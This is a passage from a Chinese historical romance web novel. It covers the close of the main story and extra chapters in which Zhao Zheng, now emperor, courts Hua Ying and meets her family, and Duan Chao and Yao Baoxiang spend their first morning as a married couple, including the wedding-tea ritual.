只是还未等她挣脱,便听一声闷笑。 华缨:! “淫欲罢了,何需与花戏学?”赵徵说着,俯身来亲她,滚烫的气息扑在脸颊,他边轻柔的吻她的唇,边气音道:“酒醒了?正好,泱泱,我们来偷个情吧。” 华缨:!!! “赵徵!你是将脸皮丢在了汴京吗!” “就当是吧。”赵徵坦然得不要脸。 那日燕南城门前,见到她的一瞬,赵徵方才懂了何谓死生契阔。 她要上战场,赵徵拦不住她。 可今日明日,那些繁琐的规矩,也挡不住他。 “可愿给我?” 赵徵咬着她的耳垂问,嗓音又沉又哑。 华缨浑身一抖,被烫得发麻,口干舌燥的紧。 一张脸埋进锦被,她蹭了蹭,破罐破摔似的咕哝道:“要沐浴……” 她要香香的! 赵徵笑了声,将两侧帐帘放下,把她遮住,而后下了床榻。 紧接着,华缨听见他唤人去抬浴桶。 外面风雪呼啸,帐中却好似春融。 浴桶中的水洒了满地,华缨纤细的脖颈扬起,满面绯红,双手紧紧捂着嘴巴,身上穿着件绛红的鸳鸯肚兜,浸得湿哒哒,黏糊糊的,鸳鸯都要羞死了。 “赵徵……”华缨倒吸口气,唤了声。 “嗯?” “那枚凤印,我不想还给你了。” “好。” 【正文完】 【番外合集】 第81章 后记。 景祐元年,燕云五州归故国。 元年六月,北狄汗王遣使者议和。我朝少帝亲往,结燕州之盟,迎大军凯旋。 自此,历时八月大战结束。 将士们欢欣鼓舞,只等回京封赏之事。 他们可是夺回了燕云五州呢,日后说起,那是能在街坊面前牛气哄哄横着走的! 哈哈哈! 半晌午,帐中议事。 尹老将军却是自动请缨:“陛下,朝中多少将,老臣愿带徒弟替陛下守百年燕州。” 赵徵神色一顿,“将军要留在此地?” 尹老将军看了眼他身侧坐着的华缨,目光挪回来,道:“老臣受尹家恩,与一众师兄弟跟着师傅征战沙场,如今至老臣这辈,活在世上仅二人,汴京之中无亲故,自也无分故土新居。” 赵徵对燕州守将之事,很是为难。 朝中良将不少,但一门皆虎将的却是不多,可若要守关,定是要居家搬迁。赵徵去书京中,众臣商议,争论不休,迟迟未有结果。 “可燕州苦寒,将军耋耄之年,合该回京颐养天年才是。”赵徵道。 赵徵三留,尹老将军三请,最终,尹老将军率尹家军,领两万人马驻守燕州。 边关驻守的将士,封赏各论。 大军拔营之日,百姓夹道相送。 华缨没有跟赵徵一道走,她陪着爹爹,吃了那难吃的紧的羊汤炊饼,燕州云州逛过几日,方才追上了前面已至雁门关的大军。 帝王仪仗出行,赵徵也有意多瞧瞧山河,一路行的极慢,每过一处,皆要停上几日,巡视城墙兵马。 傍晚,看过将士操练,赵徵婉拒了守将的宴请,回了营中。 白日里的暑气渐散,伙房大抵是煮了消暑的汤,隔着老远,还能听见士卒的嘈杂声。 不多时,营中上了灯,闻津端了一碗素面来。 赵徵拿起筷著,稍顿,问:“可有飞鸽传书来?” 闻津摇摇脑袋。 他心想,徐大小姐怕是玩儿得乐不思蜀了,哪里会来书信。 赵徵薄唇微抿,示意他退下。 一碗素面吃了小半碗,忽的,身后帐帘似被风卷起,他欲回头,双眸却是被一只微凉柔软的手遮住了。 掌指关节处,覆着一层薄茧,微微有些刺痒,可赵徵却再是熟悉不过。 “别动,劫色!” 狂徒道。 赵徵:…… 他正欲抬起的手顿了下,放下了。 这采花大盗好似满意了,哼了声,瞅了眼他面前的清汤面,诱哄道:“这清汤寡水有甚好吃的,我看你面白肤嫩,模样俊俏的紧,不若跟我回山头,当我的压寨夫君吧,我日日都给你吃猪脚肥鱼!” “若我不愿呢?”赵徵温声询问。 “不愿?”大盗又哼一声,凶蛮无横道:“那就莫怪我粗手粗脚,弄疼郎君了!” 话音未落,却是见赵徵放下手中筷著,修长的手指轻勾了下,衣带散了,露出里面月白色的丝缎里衣。 “誒?!” 华缨目瞪口呆。 “轻点些,我怕疼。”赵徵说着,双手张开,一副任她为所欲为的姿态。 华缨:! 眼瞧着这人里衣似要散开,露出劲瘦的胸膛腰腹来,华缨眼疾手快的给他捂住,恨铁不成钢似的揪着那两根细带,“你、你放荡!” 赵徵双眸重见天光,浓墨的眉眼轻抬了下,似是极其不赞同她这指责之言,道:“不是娘子要劫我?” 华缨张口结舌,“我……” 是她要劫色啊! 但、哪有人自个儿宽衣解带这般痛快的?! 华缨没说出个所以然来,忽的,手腕被握住,那只手捏着她的腕骨,手指强势的插进了她的指缝,十指相扣的一瞬,手上力道微重,华缨便跌坐在了他腿上。 夏日衣衫薄,无处销迹。 华缨还未坐稳,便察觉到到了什么,登时扭头瞪他。 赵徵双臂穿过她的腰肢,端起那碗素面,夹了一筷子喂到她嘴边,“你我夫妻久未亲热,体谅些。” “脸皮呢?”华缨红着脸骂了句,张嘴吃了那口面,面条劲道,是以鱼汤打底的,还挺好吃。 这人净说胡话,那夜将床榻折腾散架,害她偷偷跑了的人是谁?竟是忘了去? 见她喜欢,赵徵又夹了一筷子喂给她,“今夜歇我这儿?” 这话便问得昭然了些,华缨吸溜着面条,不觉红了耳朵,哼了声,“是我劫色,你这般主动,我不好下手!” 赵徵喉咙溢出声笑来,唇角翘着,道:“那今夜你来。” 华缨:…… 她觉得这厮说的不是正经话。 二人分食了一碗素面,赵徵唤闻津抬水。 回京之路不比行军辛苦,一并送来的还有兰草澡豆,熏香罢的衣衫。 骏马图的屏风挡在内室,华缨解了腰封,钻进了浴桶里,只有一颗脑袋在外面。 她扭头,外间的赵徵正提袖研墨,好似在批阅奏疏。 华缨撩拨泡澡水,心道,当皇帝也委实辛苦呢。 细白的手臂上沾了几瓣兰草,她正欲拿走,忽的,熟悉的脚步声靠近,停在了浴桶边。 华缨仰着脑袋:…… “赵徵。” “嗯?”被喊的人故作不解的应声,垂首,咬走了她手臂上的兰草。 很轻的一下触碰,华缨却是浑身酥麻了下,浴桶中水光涟漪,唇上落下轻吻。 精疲力竭之时,华缨被抱着出了浴桶,心想。 赵、徵、很喜欢浴桶! “别睡,来劫色。”赵徵轻拍了下她臀道。 华缨面色酡红,懒怠的撩起眼皮瞪他一眼。 她瞧不见,这副模样,眉目含春,宜嗔宜喜,赵徵喉结滑动了下,闷出声笑来,“怎么?” 后背碰到微凉的锦缎床褥,华缨微微瑟缩了下,紧接着,滚烫的胸膛贴下,那只结实的手臂将她捞起,跨坐在了他身上。 华缨气得锤他,“赵徵!你别太过分!” 赵徵拨开她脸上的一缕湿潮发丝,拇指摩挲着她发烫的脸颊,“如何过分?” 华缨咬着唇,摆弄腰肢。 赵徵那双漆黑的双目一瞬不瞬的望着她。 以至于,华缨能从那双眼睛里看见自己此刻的模样,凌乱,沉溺,是她,又不像是她。 她不时停下缓缓,赵徵懒洋洋的抬手轻拍她一下催促。 华缨忍了又忍,还是憋不住道:“你别像是拿根小皮鞭撵我!” 赵徵扑哧笑了声,埋首在她潮热的颈窝,张嘴轻咬了记,“快点。” 华缨:! 啊啊啊啊! 她不想劫色了啊! …… 七月初,班师回朝。 苏余兴酸溜溜的看着跪在殿中领赏的将士。 待得封赏完毕,宫人将成箱的珠宝绫罗装上了马车。 徐鉴实是在洗尘宴后回府的。 脚下步子略显仓促。 今日众臣于城门前相迎,徐鉴实也只是那时看见泱泱,一路都未及说话,列队行至春明街,那不肖子便带着泱泱偷偷溜了。 午后很静,鲜闻人声。 迈进堂院,亦是静悄悄的。 徐鉴实正以为屋里没人,进来时,却是见软榻上两个孙女靠在一处迎枕上睡着了,隔着张炕桌,另一端,孙子华宋也睡着,手边放着卷书。 夏风吹着的窗棂,长子挨着那盆菖蒲打盹儿,对面坐着的次子正拧眉观着矮案上的半残棋盘。 “爹……” 徐士钦听见动静,抬首喊道。 徐鉴实抬了抬手,示意他莫要出声,惊醒睡着的孙女。 哪怕先前时常有家书传来,徐鉴实这颗心也难安的紧,直至瞧见人,连月来的担惊受怕,在此刻方才渐渐散去。 他也没走,静声坐在榻边,看着孙女。 徐士钦想说,要不先去换了那身朝袍,左右人一时半刻也睡不醒。 但想了想,还是作罢,老爹怕是得骂他多管闲事。 华缨一觉睡醒,晚霞都盈满了半边天。 她伸了个懒腰,抱着迎枕醒神,便见祖父坐在旁边,脑袋一扭,蹭过去枕在了祖父腿上,“我都许久没见祖父了呢。” 徐鉴实满目慈爱的抚了抚她的脑袋,“瘦了。” 华缨顺杆儿爬,撒娇道:“我苦夏,吃不下饭呢。” “想吃什么,祖父吩咐厨房做,还是有想吃的,祖父让人去买。” 华缨摇脑袋,卖乖道:“家里的饭菜就好啦,见着祖父,我吃什么都香!” 徐九涣在旁听得牙酸,醋道:“当真是马屁拍出了二里地。” 徐鉴实侧首瞪他。 说的什么话! 华缨双手托腮,趴在榻上晃着脚丫瞧热闹。 徐九涣摇着蒲扇耸了耸肩,一股子无辜架势。 天日天热,堂屋的冰鉴也消融了。 徐鉴实节俭,自个儿在书房都不曾摆冰鉴,这会儿,看见他额前热的汗珠,顿了顿,唤人来换冰鉴。 下人退了出去,徐鉴实自袖袋掏出一枚令牌,递给了华缨。 “这是……殿前兵马司的令牌?”徐士钦在旁瞧见,不觉吃惊。 华缨捏着那玄铁锻造的巴掌大的令牌,“怎的给我……” 话出口,忽的想起了什么,唇微张着,神色有些怔然。 赵徵先前问她,是要凤印还是将印。 华缨说,她不想将那枚凤印还给他了。 可是,他还是给了她一枚将印。 纵然华缨不居朝堂,也知这殿前兵马司的将印何其紧要,这是行走御前,护佑天子安危的兵马。更何况,我朝将士,只认令牌不认人的,只要华缨手持这将印,一声令下,便能让那一万兵马将皇城围了。 赵徵,这是将他的性命交给了她。 第82章 后记2。 “官家说,你斩杀孟固安乃是首功,这枚将印,是给你的封赏。”徐鉴实道。 “可泱泱是姑娘家,也能入朝堂?”徐士钦问。 虽是前朝有女子入仕之先例,可至今朝,却是断然没有这事的。 泱泱若是要登朝堂,他都能想到那些个儒生大夫会说什么难听的话。 徐鉴实轻摇首,望着华缨,神色有一瞬的难言。 华缨歪了歪脑袋:? 徐鉴实:“官家说,此事会与你商议的。” 华缨:………… 当真是此地无银三百两! 赵徵这话一说,人家都要长脑子啦! 屋里也霎时一静,几双目光落在了华缨脸上。 华缨却觉冤枉的紧。 今早入城前,赵徵那厮怎的没早与她商议? 骗子! “泱泱啊……”宋喜双眼透着八卦的光。 华缨被口水呛了下,咳了几声,努力稳住乱飞的目光,片刻,小声道:“我还不想成亲呢……” 宋喜:“官家怎么说?” “他……”华缨想了想,揪着衣角老实巴交道:“他还颇喜欢与我偷情的。” “……” 屋里陷入了死寂。 片刻,徐鉴实猛然扭头,瞪向了窗棂前懒散坐着的长子! 徐九涣冤枉的紧,晃着那把破蒲扇,耸了耸肩,无辜道:“瞪我做甚,这可不是我教的。” 虽说他是知情,可这男女情事,他一个当爹的也拦不住啊。 徐鉴实憋得一把美髯都在颤抖,脸不知是臊的还是气得通红,忍无可忍的憋出一句:“上梁不正下梁歪!” 这话,徐九涣就不认啦啊。 “我倒是想三媒六聘呢,可那时候,哪里顾得上这繁文缛节?”徐九涣抬着脑袋理直气壮道,“我跟孟灵可是拜过天地的,跟他们可不一样!” 华缨:…… 眼瞧着几双目光要转过来,门外管事忽的仓促来禀: “老爷,官家来了。” “……” 晚霞将落,郎君身影颀长的站在二道院门前,与堂屋出来的主家颔首见礼。 徐鉴实神色瞧着有些发愁。 唇嗫喏几下,竟是寻不出什么话来。 旁边,徐九涣熟稔道:“来啦?” “岳丈大人。” 几人:!!! 神色顿变得难言,皆侧首看向了华缨。 华缨、华缨也不知道哇! 今早醒来拔营之时,华缨便没见过他了,哪里知道这人会登门? “都愣着作甚,坐席用饭吧。”徐九涣说。 徐士钦瞅着他想,这天家的岳父也不是谁都能做的,这厮万事不忘心里去,自也无所畏惧,这才能面对官家这般坦然,好似在招呼亲近些的子侄。 众人等赵徵先行。 赵徵走近前来,却是在华缨身侧停下了脚步,躬身道:“既是岳丈的家宴,便不分尊卑了,长者先。” 徐鉴实两鬓都生了华发,眸光垂落,看着面前姿态放低的人,神色颇为复杂。 “走吧。” 徐九涣当真是没愧得‘自若’二字,推着老爹抬脚就走,很是坦然啦。 华缨跟在二叔二婶身后,提着裙摆将迈腿时,忽的,手指被某人做贼似的勾了下。 她抬眼,赵徵目视前方,神色自若。 好似方才那占姑娘便宜的宵小行径不是他干的。 华缨很轻的哼了声。 那人唇角轻勾,眉眼略弯,“嗯?” 跟在二人身后的姐弟俩。 华敏眼睛贼死了,将二人方才的动作瞥见,激动得脸颊泛红。 吼吼吼! 她看见话本子上写的啦! 芳表姐怎的不在呢,当真是遗憾啊! 徐华宋目瞪口呆的小声问阿姐,“……要喊姐夫吗?” 话音未落,便被阿姐捂住了嘴。 徐华宋:? 因着徐鉴实晌午要在宫中赴洗尘宴,是以,宋喜便将替徐九涣和泱泱接风宴安置在了晚上。 斜阳归隐,华灯初上。 宴席摆在了园中亭子里,夏风徐徐吹来,白日里的暑热渐渐散去。 丫鬟们将菜肴摆好,垂首悄声退下,没朝那贵人多瞧一眼。 徐鉴实正欲开口,忽的,肩上一道力,将他压着坐下了,坐得瓷实的很。 徐鉴实:…… 再一侧首,几个小辈也纷纷落座了。 徐鉴实只得将赵徵请上座的心思按下。 不比徐九涣坦然,张罗这席面的宋喜紧张的要命,磕巴道:“不知官家要来,只备了些兄长和泱泱爱吃的……” “婶娘不必拘谨,”赵徵朝身侧的人看了眼,“泱泱喜欢的,我也喜欢吃。” 华缨握着筷著的手一顿,想起了那营帐之中没羞没臊,同食一碗面,一片瓜果,甚至是这厮以唇渡水! 宋喜面色狐疑的朝华缨看,眼神询问:是吗? 华缨深吸口气,干巴巴道:“……他不挑食。” 赵徵侧首望着她,闻言,眉轻抬了下。 一顿家宴,吃得寂静无声。 华缨按住赵徵替她剥虾的手,摇摇脑袋,“吃饱了。” 许久不归家,这桌菜肴都是她喜欢的,华缨吃得肚饱滚圆,都有些犯食困了。 赵徵用手边的湿帕子慢条斯理的擦净手,方才执筷著用饭。 宋喜瞧了一眼,赶忙垂下了脑袋。 他们家几颗脑袋啊,竟是让官家吃凉饭? 宴罢,众人离席。 赵徵与徐家几父子去书房了。 宋喜目送那几道身影出了园子,与身侧百无聊赖仰着脑袋看月亮的姑娘说:“瞧着当真是在招待新上门的姑爷。” 华缨抬眼望去,夜色里,光影隐隐绰绰,赵徵行在徐九涣身侧,手执莲花纸灯,经过那扇月亮拱门时,他身子侧了侧,端的是一副晚辈姿态,走在后面,手中的灯轻提,替几人照亮脚下的路。 华缨咬着片花瓣,望着那光影处,心尖儿忽的酸软了下,像是夜里被那混账轻掐时。 几人在书房里待了半个多时辰。 天色黑透上更时,丫鬟来禀。 “大小姐,贵人要离府了,问您可要去送送?” 小丫鬟睁着双葡萄似的水灵眼睛问。 华缨‘啧’了声,“你乖,别与她们学,净是八卦。” 小丫鬟掩唇偷笑。 徐府门前,车马停了小半日。 赵徵一袭湛蓝锦袍站在石阶旁,不多时,便听一道轻盈的脚步声近来。 他回首,华缨提着裙摆飒飒踏踏的行来。 “没什么要与我交代的吗?” 华缨仰着脑袋抢先问。 赵徵看了眼门前的护卫,伸手去牵华缨的手,刚碰到,手背就挨了一巴掌。 这清脆声。 两名护卫脑袋都低了又低。 赵徵瞧着那佯凶的芙蓉脸,喉间闷出声笑来,“旁的将士的洗尘宴都吃了,我怎好不来吃你的?” 这世道苛刻,女子被圈在后宅,便是做生意风生水起,都要被人在身后指指点点,不安于室。 赵徵知晓华缨不稀罕金殿之上封赏功绩,但洗尘宴是迎将士凯旋,她亦是,宫里的那场她不愿来,赵徵便来赴她的就是。 华缨脑袋歪了歪,盯着他道:“还有呢?” 这语气神情,活脱脱的训夫君的泼辣娘子。 护卫不忍直视,恨不能藏进地缝里去。 赵徵却是颇为受用,厚着脸皮又去牵人家的手。 华缨‘哼’了声,抬手作势要甩开,端的是一副骄矜姿态,“我爹爹不让男子摸我小手!” 赵徵这次委实是没憋出,笑出了声,牵着她的手往自己身前一带,便埋首在她肩窝里。 “想要个名分。” 这话说得颇为委屈。 华缨鼓了鼓脸颊,好努力的憋住了笑。 赵徵没说出口的是,今日将印送出,日后满朝之中,定无人敢与华缨提亲。 她不在意那些小事,可是,他在乎的。 为君王者,注定便不能如寻常百姓随心所欲。华缨不愿入宫,赵徵可依着她,但也断然不会让旁人近她。 华缨抿了抿唇,吭哧道:“我与祖父和爹爹说,你喜欢与我偷情。” 赵徵:…… 肩上那颗沉脑袋抬起,华缨抬起亮晶晶的眼眸看他,笑问:“长夜漫漫,何不秉烛夜游?顺道……偷个情去?” 她的声音很轻,像是空中飞舞的灵蝶,又带着几分偷偷摸摸,在这昏暗的夜色中明晃晃的勾人。 赵徵望着她,片刻,轻笑了声。 “好。” 第83章 宝湘哦~ 桃李始开的三月,清晨院中布着层隐朦的雾色。 月亮门洞进来一道孔武有力的健壮身影,穿着单薄的玄色束袖武衣,昂首阔步。 “世子爷。” 院中洒扫的下人福身问安。 段晁‘嗯’了声,瞥见小厮搬梯子去摘那院中挂着的红绸灯笼时,步子退回来,低声道:“这些物什不急,挂着吧。” 小厮愣了下,连忙应声退下了。 院中安安静静的,主屋檐下守着两个丫鬟,见他过来,皆福身。 “少夫人还没醒?” 段晁问。 丫鬟是姚宝湘的陪嫁丫鬟,从前便是贴身伺候的,闻言,有些不好意思道:“我家娘子平日都是辰时方才起身的。” 言下之意是,昨儿二人新婚夜折腾至三更,水都要了两回,她家娘子哪里能起得早? 段晁对着丫鬟几丝小谴责的神色,默了下,轻着手脚推门进去了。 屋里张贴着喜字,儿臂粗的红烛堪堪熄灭,蜡油盛满了金盏,旁边桌案上摆放着红枣桂圆等喜物。 段晁绕过那扇满面桃花的苏绣屏风,进了内室。 红帐子半遮半掩,大抵是因着屋中地龙烧着,小娘子嫌热,鸳鸯红被只盖着一角,丰盈光滑的大腿压在锦缎被面上,抱着一只狐狸模样的软枕睡得正香,粉润的鼻尖都沁着汗。 段晁俯身,张嘴轻咬了下那秀气的鼻尖,脸上便挨了软绵的一巴掌。 “……” “桃香,老鼠咬我……” 姚宝湘睡梦中嘀咕似的,翻了个身继续睡。 段晁舌尖抵了抵上颚,无奈笑了,一巴掌轻拍在她丰腴的臀上,“该起了。” 今日族中长辈都来,是要吃媳妇儿茶的,可由不得她睡到辰时再起了。 姚宝湘被这一巴掌拍醒,粉面桃腮,不高兴的嘟着唇瞪他,“你混账!” 昨夜就……这会儿子竟是还这样欺负她! 段晁沉笑了声,伸展长臂,将拔步床外的那套绛红色衣裙拿来,“穿衣。” 姚宝湘也是知晓轻重的,新婚敬茶是大事,她姑且忍了。 她伸手臂,示意他可以替自个儿宽衣啦。 只是…… 她衣裳呢? 姚宝湘看着自己白嫩嫩的藕臂愣住了,腿脚蹭了下被褥,光光滑滑,不着一物。 “……段晁!” 羞死了! 啊啊啊啊! 她不要做人啦! 段晁被她的反应逗笑,“怎么,要讹我?” “衣冠禽兽!”姚宝湘骂。 平素装得像人,昨夜、昨夜就是禽兽! 挨着这骂,段晁那粗粗的剑眉抬了下,似是还颇为喜欢。 他目光在她起伏的胸口扫了眼,将手上巴掌的红肚兜递给她,“穿好。” 委实是时辰不好再耽搁,若是这姑娘在族人跟前丢脸,少不得要将气撒在他身上。 段晁倒是不怕受那气,只是,怕她气罢了。 “哼!” 穿好衣裙,姚宝湘正要唤丫鬟进来,便见段晁做贼,将那用过的床褥单子扯了起来,藏去了旁边南窗下的箱笼。 姚宝湘:? 丫鬟们不慌不忙,伺候主子净面梳妆。 姚宝湘还吃了一碗八宝擂茶垫了垫肚子,夫妻二人方才往正堂去。 时辰正正好,堂中长辈却是已然皆到了。 堂中坐得满满当当,饶是姚宝湘幼时时常来段家,也有许多族人是未见过的。 姚宝湘的外祖母,穿着件崭新的夹袄褂子,头戴墨蓝宝石的抹额,精神烁烁的坐在尊位,面色和蔼可亲的看着进来的小夫妻俩。 “宝湘昨儿歇的可好?” 段夫人温笑问。 姚宝湘点头,模样认真答:“谢母亲挂念,我歇的极好。” 这话一出,便见堂中许多阿婶阿嫂的扑哧掩唇轻笑。 姚宝湘愣了下,有些不解的扭头看向段晁。 她确睡得很好啊,这拔步床是阿娘给她的嫁妆,与家里那个用料相同,便是床褥被子乃至枕头,都是她惯常喜欢的料子,她的狐狸软枕也在呢,自是睡得好极了。 段晁也在看她,他唇角动了下,那双漆黑眸子里,似是有些无奈。 小媳妇儿过门,难免被婶婶阿嫂打趣两句,若是新娘子脸皮薄,羞上两朵红云,很是好看。 见她懵懂不知,段晁轻摇首,唤了奉茶水的丫鬟进来。 “先敬茶吧,别耽误了时辰。” 旁边族里一位婶娘顿时打趣道:“咱们世子爷也会疼媳妇儿了。” 话出口,登时又是一阵儿热闹的笑声。 姚宝湘心想,这算得什么疼,她昨夜求他,他都没停! 混蛋胚子! 几盏茶敬了长辈,姚宝湘也得了许多见面礼。 舅母待她亲厚,将自个儿陪嫁的一对儿镶嵌宝石的金手钏给了她,“你穿用都是好的,这东西不值什么钱,权当是个念想用着吧。” “外祖母给母亲的,光是这份心意,便胜却金银万宝无数,我喜欢,多谢母亲。”姚宝湘笑吟吟道。 旁边段二夫人笑说:“难怪嫂嫂挑宝湘做儿媳,这嘴甜的,哄着将那些金银首饰都给她也是乐意的。” “二婶请喝茶。”姚宝湘福身道。 仪态落落大方,也挑不出半分不规矩处。 段二夫人接过茶,尝了口,笑眯眯道:“甜。” 说着,她掏出一支步摇来,“比不得你母亲那对儿手钏,这支步摇胜在工艺精细些,你戴着玩儿吧。” “婶婶这话说的,我可是听母亲说,您早早便寻珍宝阁的师傅替我打这支步摇了,便是这费的心思,都值得我好好用呢。” “晁哥儿是个笨口拙舌,万事不与家里说的,倒是得了你这个机灵的媳妇儿,合该让他好好疼疼你。”段二夫人笑道。 登时又是一阵低笑。 姚宝湘眨了眨眼,也咂摸出了点味儿来。 她扭头看向段晁:哦~ 段晁:…… 哦个屁。 段夫人也没让儿媳布菜,全了规矩,夹了三筷子,便让她坐下了。 早饭后,爷们儿都出去了。 堂屋里留着几个亲近些女眷,拉着姚宝湘问昨日之事。 姚宝湘自认是个厚脸皮,也被几人围着问得脸红耳赤。 “那元帕可带来了,按着规矩得让你婆母看看。” 姚宝湘脸上着火,想也没想,将今早段晁那鬼祟行为卖了,“段、世子爷藏了起来……” 这话一出,便见众人脸上神色顿变得别有深意,目光打趣的看着姚宝湘。 姚宝湘觉得自个儿头发都要冒烟啦! 适时,门外丫鬟禀道: “夫人,世子爷问,夫人可训完话了,世子爷说想带少夫人逛逛园子。” 有人扑哧笑了声。 “宝湘可没少来逛咱们的园子,怕是比世子爷都清楚哪棵树下埋着珍宝呢。” 幼时,姚宝湘几个小孩儿玩闹,将自个儿引以为珍宝的物件儿埋在树下,说是等明年再来挖。 晚上回去,姚宝湘后悔了,哭着闹着要阿娘带她回来挖,可靖安伯府栽种着一片梅林,谁知他们埋在了哪棵树下,委实难寻,后来,姚宝湘抢了段晁那柄桃木剑,才擦了眼泪泡,美滋滋的跟着阿娘回家去了。 被打趣,姚宝湘难得有些羞赦。 段夫人道:“去吧,趁着晁哥儿这几日休沐,多陪陪你。” 姚宝湘福了福身,跑着去了。 今日艳阳,段晁穿着件红袍站在院中的石榴树下,墨发束起,眉眼锋利到有些凶相,闻声侧首,道:“别跑,一会儿摔了。” 姚宝湘哼了声,小声骂:“乌鸦嘴。” 二人也没当真去逛园子。 这个时节,梅花都谢了,旁的花又还没开,光秃秃的也无甚意趣。 更何况,昨夜这人贪的久,姚宝湘这会子还有些不适呢。 回了院子,丫鬟们上前来伺候,熟稔的替自家小姐将发髻上沉甸甸的金银钗环拆了,奉上茶果点心来。 段晁站在旁边瞧得有趣。 可见姚家姑母平日里也是惯着这姑娘的。 “地龙别烧了,热。”姚宝湘脱了鞋袜,歪在软榻上,靠着软绵绵的迎枕说。 段晁扫了眼那莲子似的足,“知道了,一会儿去与下人说,你将足袋穿好。” “管得真多。”姚宝湘揉着腿不高兴道。 她在家里可没这么些规矩,难怪阿娘说,给人做媳妇儿委屈呢。 段晁瞧着这人不知想到了什么,渐渐瘪了的嘴巴,叹了声气,倚着那软榻坐下,替她捏腿,“还难受?” “装什么好人。”姚宝湘说着,哼了声,扭过脑袋不想理他。 段晁盯着那一副凄凄惨惨戚戚的背影,片刻,将人打横抱起,进了内室。 “段晁!”姚宝湘踹他。 “我看看可是当真伤着了?” “没有没有!啊啊啊——你不要脸!” “……” 檐下候着的丫鬟默默走开了。 段晁倒也并未真的伤了她做媳妇儿的颜面,只是替她抹了点药膏。 “三个时辰后再抹一次。”段晁用帕子擦着手指说。 床榻上,姚宝湘面色含春,咬着唇道:“你滚。” “那你自己抹。”段晁将那玉白的小瓷瓶塞进她手里说。 果然,小媳妇儿瞪他。 段晁笑了声,“城外桃花开了,可要去赏?” 想了想,他又道:“让人在马车里多垫几张软垫。” 姚宝湘咬牙看他片刻,转身背对他。 哼!